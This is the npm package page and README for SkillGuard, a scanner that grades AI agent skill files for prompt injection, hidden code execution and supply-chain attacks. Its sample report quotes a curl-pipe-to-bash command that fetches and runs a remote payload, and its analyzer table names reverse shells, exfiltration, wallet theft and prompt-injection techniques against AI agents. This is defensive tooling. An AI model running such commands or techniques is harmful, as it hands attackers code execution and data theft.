@adriancodes/skillguard
v1.0.1
Published
Security scanner for AI agent skills — detects prompt injection, hidden code execution, and supply chain attacks in SKILL.md files
Maintainers
Readme
SkillGuard
Security scanner for AI agent skills. Detects prompt injection, hidden code execution, data exfiltration, and supply chain attacks in SKILL.md files and bundled scripts.
Installation
# Run without installing (recommended for one-off scans)
npx @adriancodes/skillguard scan ./path/to/skill
# Install globally
npm install -g @adriancodes/skillguard
# Add as a dev dependency
npm install --save-dev @adriancodes/skillguardQuick Start
# Scan a single skill
skillguard scan ./path/to/skill
# Audit all installed skills at once
skillguard batch .agents/skills/ --summary
# Block CI if a skill scores above 25
skillguard scan ./path/to/skill --fail-on 25Example output — clean skill:
╔══════════════════════════════════════════════════════╗
║ SkillGuard Scan Report ║
╠══════════════════════════════════════════════════════╣
║ Skill: pdf ║
║ Path: .agents/skills/pdf ║
║ Score: 0/100 (Grade A — Clean) ║
╚══════════════════════════════════════════════════════╝
CRITICAL 0 findings
HIGH 0 findings
MEDIUM 0 findings
LOW 0 findings
INFO 0 findings
Scanned in 11ms | skillguard v1.0.0Example output — skill with findings:
╔══════════════════════════════════════════════════════╗
║ SkillGuard Scan Report ║
╠══════════════════════════════════════════════════════╣
║ Skill: data-processor ║
║ Path: .agents/skills/data-processor ║
║ Score: 42/100 (Grade C — Moderate risk) ║
╚══════════════════════════════════════════════════════╝
CRITICAL 0 findings
HIGH 1 finding
MEDIUM 1 finding
LOW 0 findings
INFO 0 findings
─── HIGH ────────────────────────────────────────────────
⚠ SVE-0031 (data-exfiltration)
Network exfiltration pattern detected in bundled script
File: scripts/setup.sh:14
Evidence: curl -s https://example.com/payload | bash
→ Remove or replace the curl pipe-to-bash pattern
─── MEDIUM ──────────────────────────────────────────────
● SVE-0018 (secret-detection)
Hardcoded credential detected
File: scripts/config.py:3
Evidence: API_KEY = "sk-proj-..."
→ Use environment variables for credentials instead
Scanned in 18ms | skillguard v1.0.0Grading System
| Grade | Score | Meaning | |-------|-------|---------| | A | 0–10 | Clean — no significant issues | | B | 11–25 | Minor concerns — review recommended | | C | 26–50 | Moderate risk — careful review needed | | D | 51–75 | High risk — do not install without thorough review | | F | 76–100 | Malicious indicators — do not install |
Each finding contributes to the raw score based on severity:
| Severity | Weight | |----------|--------| | CRITICAL | 25 | | HIGH | 15 | | MEDIUM | 8 | | LOW | 3 | | INFO | 0 |
When a skill triggers multiple distinct HIGH+ categories (e.g., both data exfiltration and privilege escalation), a combo multiplier of 1.0 + (0.15 × distinct_high_categories) is applied. The final score is capped at 100.
CLI Reference
scan <path>
Scan a single skill directory or SKILL.md file.
skillguard scan ./my-skill
skillguard scan ./my-skill/SKILL.md
skillguard scan .agents/skills/pdf| Option | Description |
|--------|-------------|
| -s, --severity <level> | Minimum severity to show: critical, high, medium, low, info |
| --fail-on <score> | Exit code 1 if the risk score exceeds this threshold (0–100). Use in CI. |
| --analyzers <list> | Comma-separated list of analyzers to run (default: all 26) |
| --exclude <list> | Comma-separated list of analyzers to skip |
| --publish | Publish results to the SkillGuard web dashboard |
batch <dir>
Scan every skill found in a directory.
skillguard batch .agents/skills/
skillguard batch .claude/skills/ --summary
skillguard batch .agents/skills/ --sort score| Option | Description |
|--------|-------------|
| --summary | Show only per-skill grade table, skip individual finding details |
| --sort <field> | Sort results by score (default), name, or severity |
| --fail-on <score> | Exit code 1 if any skill exceeds this threshold |
Example — --summary output:
SkillGuard Batch Scan
─────────────────────────────────────────────────────
Skills scanned: 4
Total findings: 3
Highest score: 42/100
Scan time: 29ms
Skill Grade Score Findings
────────────────────────────── ─────── ──────── ────────
data-processor C 42 2
file-reader B 18 1
pdf A 0 0
hello-world A 0 0check <repo@skill>
Look up a skill in the SkillGuard public registry by GitHub repo and skill name.
# Short form: owner/repo@skill-name
skillguard check acme/agent-skills@pdf
# With full GitHub URL
skillguard check https://github.com/acme/agent-skills
# JSON output
skillguard check acme/agent-skills@pdf -f jsonReturns the last known grade, score, and a link to the full dashboard report. If the skill hasn't been published yet, run skillguard scan <path> --publish to add it.
info <path>
Show parsed skill metadata without running any security analyzers. Useful for inspecting frontmatter.
skillguard info .agents/skills/pdflist-analyzers
List all 26 registered analyzers with their descriptions.
skillguard list-analyzers
skillguard list-analyzers -f jsonGlobal options
These options work with every command:
| Option | Description |
|--------|-------------|
| -f, --format <fmt> | Output format: terminal (default) or json |
| -q, --quiet | Only output the score and grade |
| --verbose | Show all severity levels including INFO |
| --no-color | Disable colored output |
| -v, --version | Show version |
| -h, --help | Show help |
CI/CD Integration
Use --fail-on to block merges when a skill's risk score exceeds a threshold.
GitHub Actions example:
- name: Scan skills
run: npx @adriancodes/skillguard batch .agents/skills/ --fail-on 25 -f jsonA complete publish-on-merge workflow:
name: Skill Security Scan
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Scan all skills
run: npx @adriancodes/skillguard batch .agents/skills/ --fail-on 50
- name: Publish results to dashboard
if: github.ref == 'refs/heads/main'
run: npx @adriancodes/skillguard batch .agents/skills/ --publish
env:
SKILLGUARD_PUBLISH_TOKEN: ${{ secrets.SKILLGUARD_PUBLISH_TOKEN }}Exit codes: 0 = passed, 1 = score exceeded --fail-on threshold or scan error.
Programmatic API
import { scanSkill, scanBatch, getAllAnalyzers } from '@adriancodes/skillguard';
// Scan a single skill
const result = scanSkill('./path/to/skill');
console.log(result.riskScore.grade); // 'A' | 'B' | 'C' | 'D' | 'F'
console.log(result.riskScore.score); // 0–100
console.log(result.findings); // Finding[]
// Batch scan a directory of skills
const results = scanBatch('.agents/skills/');
for (const r of results) {
console.log(`${r.skill.name}: Grade ${r.riskScore.grade} (${r.riskScore.score}/100)`);
}
// Run only specific analyzers
const targeted = scanSkill('./my-skill', {
analyzers: ['data-exfiltration', 'privilege-escalation'],
});
// List all registered analyzers
const analyzers = getAllAnalyzers();
console.log(`${analyzers.length} analyzers loaded`); // 26Claude Code Hook
SkillGuard includes a PostToolUse hook that automatically scans new skills immediately after npx skills add. Install it into your project:
npx @adriancodes/skillguard-install-hookThis copies the hook script to .claude/hooks/ and registers it in .claude/settings.json. Any skill added via the skills command will be scanned before it can be used.
Publishing to the Dashboard
Scan results can be published to the SkillGuard web dashboard for team-wide tracking and historical reporting:
# Publish a single scan
skillguard scan ./path/to/skill --publish
# Publish all scans in batch
skillguard batch .agents/skills/ --publishEnvironment variables:
| Variable | Description |
|----------|-------------|
| SKILLGUARD_DASHBOARD_URL | Dashboard URL (defaults to https://skillguard.dev) |
| SKILLGUARD_PUBLISH_TOKEN | Bearer token for authenticated dashboards (optional in dev) |
Security Analyzers
SkillGuard runs 26 analyzers organized into four pipeline stages.
Metadata analyzers
| Analyzer | What it detects |
|----------|----------------|
| frontmatter-manipulation | Dangerous YAML settings: unrestricted tools, hidden skills, hooks |
| description-injection | Prompt injection embedded in the skill description field |
Content analyzers (SKILL.md body)
| Analyzer | What it detects |
|----------|----------------|
| html-comment | Hidden instructions inside HTML comments |
| reference-link | Hidden instructions in Markdown reference-style links |
| authority-impersonation | Fake system/admin messages and jailbreak attempts |
| unicode-smuggling | Invisible Unicode characters: tag chars, zero-width, bidirectional |
| css-html-hiding | Visually hidden content via CSS/HTML |
| dynamic-execution | Dangerous !command preprocessing directives |
| argument-injection | Unsanitized $ARGUMENTS in shell, eval, and URL contexts |
| encoding-obfuscation | Base64/hex/octal encoded payloads and eval string construction |
| image-exfiltration | Data exfiltration via markdown image URLs |
| install-escalation | Skills that install additional software or execute remote scripts |
External file analyzers (bundled scripts)
| Analyzer | What it detects |
|----------|----------------|
| data-exfiltration | Network exfiltration: curl, webhooks, reverse shells |
| script-analysis | Malicious code in Python, Bash, JS, TS, Ruby, and Perl scripts |
| privilege-escalation | Sudo usage, Docker escapes, system file writes, crontab injection |
| dependency-confusion | npm postinstall attacks, non-standard registries, supply chain confusion |
| suspicious-download | Download-and-execute chains, trojanized archives, binary downloads |
| persistence-poisoning | Writes to agent memory files, config directories, and shell profiles |
| secret-detection | Hardcoded API keys, tokens, passwords, and high-entropy strings |
| remote-content-fetch | Fetch-and-execute chains, dynamic imports, runtime config from URLs |
| financial-wallet-access | Cryptocurrency wallet access, seed phrase extraction, payment API abuse |
Composite analyzer
| Analyzer | What it detects |
|----------|----------------|
| reference-poisoning | Prompt injection and hidden content in reference documentation files |
Run skillguard list-analyzers for the full list with descriptions, or use --analyzers/--exclude to target specific checks.
License
AGPL-3.0 — see LICENSE for details.
